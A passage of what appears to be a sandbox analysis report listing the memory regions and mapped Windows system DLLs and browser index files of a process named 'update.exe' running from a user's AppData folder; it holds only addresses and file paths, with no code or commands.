= 1635 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1636 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1637 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1638 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1639 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1640 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1641 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") Region: id = 1642 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1643 start_va = 0x77a90000 end_va = 0x77c0ffff entry_point = 0x77a90000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1644 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1645 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1646 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 1647 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 1648 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 1649 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 1650 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 1651 start_va = 0x2f0000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1652 start_va = 0x73ff0000 end_va = 0x7404bfff entry_point = 0x73ff0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1653 start_va = 0x754a0000 end_va = 0x754a7fff entry_point = 0x754a0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1654 start_va = 0x754b0000 end_va = 0x754eefff entry_point = 0x754b0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1667 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1668 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1669 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1670 start_va = 0x5f0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 1671 start_va = 0x753a0000 end_va = 0x753a4fff entry_point = 0x753a0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 1672 start_va = 0x755e0000 end_va = 0x755ebfff entry_point = 0x755e0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1673 start_va = 0x755f0000 end_va = 0x7564ffff entry_point = 0x755f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1674 start_va = 0x75720000 end_va = 0x757bffff entry_point = 0x75720000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1675 start_va = 0x75b30000 end_va = 0x75bccfff entry_point = 0x75b30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1676 start_va = 0x75d90000 end_va = 0x75e3bfff entry_point = 0x75d90000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1677 start_va = 0x75e40000 end_va = 0x75e49fff entry_point = 0x75e40000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1678 start_va = 0x75e50000 end_va = 0x75f4ffff entry_point = 0x75e50000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1679 start_va = 0x75f50000 end_va = 0x75f95fff entry_point = 0x75f50000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1680 start_va = 0x76ea0000 end_va = 0x76eb8fff entry_point = 0x76ea0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1681 start_va = 0x77150000 end_va = 0x7723ffff entry_point = 0x77150000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1682 start_va = 0x77290000 end_va = 0x7731ffff entry_point = 0x77290000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1683 start_va = 0x773e0000 end_va = 0x774effff entry_point = 0x773e0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1684 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x0 region_type = private name = "private_0x0000000077690000" filename = "" Region: id = 1685 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x0 region_type = private name = "private_0x00000000777b0000" filename = "" Region: id = 1686 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1687 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1688 start_va = 0x6f0000 end_va = 0x877fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1689 start_va = 0x75650000 end_va = 0x7571bfff entry_point = 0x75650000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1690 start_va = 0x75d30000 end_va = 0x75d8ffff entry_point = 0x75d30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1691 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1692 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1693 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1694 start_va = 0x880000 end_va = 0xa00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 1695 start_va = 0xa10000 end_va = 0x1e0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 1696 start_va = 0x210000 end_va = 0x214fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 1697 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1698 start_va = 0x250000 end_va = 0x29efff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1699 start_va = 0x75380000 end_va = 0x75391fff entry_point = 0x75380000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1700 start_va = 0x75bd0000 end_va = 0x75cc4fff entry_point = 0x75bd0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1701 start_va = 0x76e40000 end_va = 0x76e96fff entry_point = 0x76e40000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1702 start_va = 0x76ec0000 end_va = 0x76ff5fff entry_point = 0x76ec0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1703 start_va = 0x75810000 end_va = 0x7596bfff entry_point = 0x75810000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1704 start_va = 0x77000000 end_va = 0x7708efff entry_point = 0x77000000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1705 start_va = 0x75980000 end_va = 0x75a9cfff entry_point = 0x75980000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1706 start_va = 0x75970000 end_va = 0x7597bfff entry_point = 0x75970000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1707 start_va = 0x76c40000 end_va = 0x76e3afff entry_point = 0x76c40000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1708 start_va = 0x75340000 end_va = 0x75371fff entry_point = 0x75340000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1709 start_va = 0x75fa0000 end_va = 0x76be9fff entry_point = 0x75fa0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1710 start_va = 0x75320000 end_va = 0x7533bfff entry_point = 0x75320000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1711 start_va = 0x77a60000 end_va = 0x77a65fff entry_point = 0x77a60000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1712 start_va = 0x75310000 end_va = 0x75316fff entry_point = 0x75310000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1713 start_va = 0x757d0000 end_va = 0x75804fff entry_point = 0x757d0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1714 start_va = 0x370000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1715 start_va = 0x752c0000 end_va = 0x75303fff entry_point = 0x752c0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1716 start_va = 0x1e10000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 1717 start_va = 0x75200000 end_va = 0x752befff entry_point = 0x75200000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 1718 start_va = 0x4a0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1719 start_va = 0x770c0000 end_va = 0x770c4fff entry_point = 0x770c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1720 start_va = 0x1fc0000 end_va = 0x228efff entry_point = 0x1fc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1721 start_va = 0x751e0000 end_va = 0x751f1fff entry_point = 0x751e0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1722 start_va = 0x250000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1723 start_va = 0x4a0000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1724 start_va = 0x5d0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1725 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 1726 start_va = 0x751c0000 end_va = 0x751d5fff entry_point = 0x751c0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1727 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1728 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1729 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1730 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1731 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1732 start_va = 0x75180000 end_va = 0x751bafff entry_point = 0x75180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1733 start_va = 0x210000 end_va = 0x211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 1734 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1735 start_va = 0x2290000 end_va = 0x848ffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1736 start_va = 0x74fe0000 end_va = 0x7517dfff entry_point = 0x74fe0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1737 start_va = 0xfffd5000 end_va = 0xfffd7fff entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 1738 start_va = 0x220000 end_va = 0x220fff entry_point = 0x220000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1739 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 1740 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1741 start_va = 0x74fd0000 end_va = 0x74fdafff entry_point = 0x74fd0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1742 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x290000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1743 start_va = 0x370000 end_va = 0x377fff entry_point = 0x370000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1744 start_va = 0x3b0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1745 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x380000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1746 start_va = 0x74fa0000 end_va = 0x74fc0fff entry_point = 0x74fa0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1747 start_va = 0x76bf0000 end_va = 0x76c34fff entry_point = 0x76bf0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1748 start_va = 0x757c0000 end_va = 0x757c2fff entry_point = 0x757c0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 1749 start_va = 0x1e10000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 1750 start_va = 0x1e50000 end_va = 0x1f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 1751 start_va = 0x1f80000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1752 start_va = 0x74f40000 end_va = 0x74f91fff entry_point = 0x74f40000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1753 start_va = 0xfffad000 end_va = 0xfffaffff entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 1754 start_va = 0x74f20000 end_va = 0x74f34fff entry_point = 0x74f20000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1755 start_va = 0x74f10000 end_va = 0x74f1cfff entry_point = 0x74f10000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1756 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1757 start_va = 0x8490000 end_va = 0x84cffff entry_point = 0x0 region_type = private name = "private_0x0000000008490000" filename = "" Region: id = 1758 start_va = 0x84d0000 end_va = 0x85cffff entry_point = 0x0 region_type = private name = "private_0x00000000084d0000" filename = "" Region: id = 1759 start_va = 0xfffaa000 end_va = 0xfffacfff entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 1760 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 1761 start_va = 0x74f00000 end_va = 0x74f05fff entry_point = 0x74f00000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 1762 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1763 start_va = 0x85d0000 end_va = 0x860ffff entry_point = 0x0 region_type = private name = "private_0x00000000085d0000" filename = "" Region: id = 1764 start_va = 0x8610000 end_va = 0x870ffff entry_point = 0x0 region_type = private name = "private_0x0000000008610000" filename = "" Region: id = 1765 start_va = 0x8710000 end_va = 0x874ffff entry_point = 0x0 region_type = private name = "private_0x0000000008710000" filename = "" Region: id = 1766 start_va = 0x8750000 end_va = 0x884ffff entry_point = 0x0 region_type = private name = "private_0x0000000008750000" filename = "" Region: id = 1767 start_va = 0x8850000 end_va = 0x894ffff entry_point = 0x0 region_type = private name = "private_0x0000000008850000" filename = "" Region: id = 1768 start_va = 0x77350000 end_va = 0x773d2fff entry_point = 0x77350000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1769 start_va = 0xfffa4000 end_va = 0xfffa6fff entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 1770 start_va = 0xfffa7000 end_va = 0xfffa9fff entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 1771 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1772 start_va = 0x74e20000 end_va = 0x74e79fff entry_point = 0x74e20000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 1773 start_va = 0x74ef0000 end_va = 0x74efffff entry_point = 0x74ef0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1774 start_va = 0x8a70000 end_va = 0x8a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 1775 start_va = 0x74ee0000 end_va = 0x74eedfff entry_point = 0x74ee0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 1776 start_va = 0x8950000 end_va = 0x898ffff entry_point = 0x0 region_type = private name = "private_0x0000000008950000" filename = "" Region: id = 1777 start_va = 0x8a80000 end_va = 0x8b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000008a80000" filename = "" Region: id = 1778 start_va = 0x74ed0000 end_va = 0x74ed7fff entry_point = 0x74ed0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 1779 start_va = 0xfffa1000 end_va = 0xfffa3fff entry_point = 0x0 region_type = private name = "private_0x00000000fffa1000" filename = "" Region: id = 1903 start_va = 0x8c80000 end_va = 0x8c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000008c80000" filename = "" Region: id = 1904 start_va = 0x74ec0000 end_va = 0x74ecffff entry_point = 0x74ec0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 1905 start_va = 0x74e00000 end_va = 0x74e11fff entry_point = 0x74e00000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 1906 start_va = 0x74dc0000 end_va = 0x74dfbfff entry_point = 0x74dc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1907 start_va = 0x74eb0000 end_va = 0x74eb7fff entry_point = 0x74eb0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 1908 start_va = 0x74e90000 end_va = 0x74e94fff entry_point = 0x74e90000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1909 start_va = 0x74db0000 end_va = 0x74db5fff entry_point = 0x74db0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1910 start_va = 0x74da0000 end_va = 0x74da5fff entry_point = 0x74da0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1911 start_va = 0x74d60000 end_va = 0x74d97fff entry_point = 0x74d60000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2058 start_va = 0x8c90000 end_va = 0x8daffff entry_point = 0x0 region_type = private name = "private_0x0000000008c90000" filename = "" Region: id = 2059 start_va = 0x8e60000 end_va = 0x8e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000008e60000" filename = "" Region: id = 2060 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 2061 start_va = 0x74d50000 end_va = 0x74d58fff entry_point = 0x74d50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2062 start_va = 0x5b0000 end_va = 0x5b6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 2063 start_va = 0x5c0000 end_va = 0x5c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2064 start_va = 0x8990000 end_va = 0x89cffff entry_point = 0x8990000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat") Region: id = 2065 start_va = 0x8ea0000 end_va = 0x91e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008ea0000" filename = "" Region: id = 2066 start_va = 0x89d0000 end_va = 0x8a0ffff entry_point = 0x0 region_type = private name = "private_0x00000000089d0000" filename = "" Region: id = 2067 start_va = 0x8b80000 end_va = 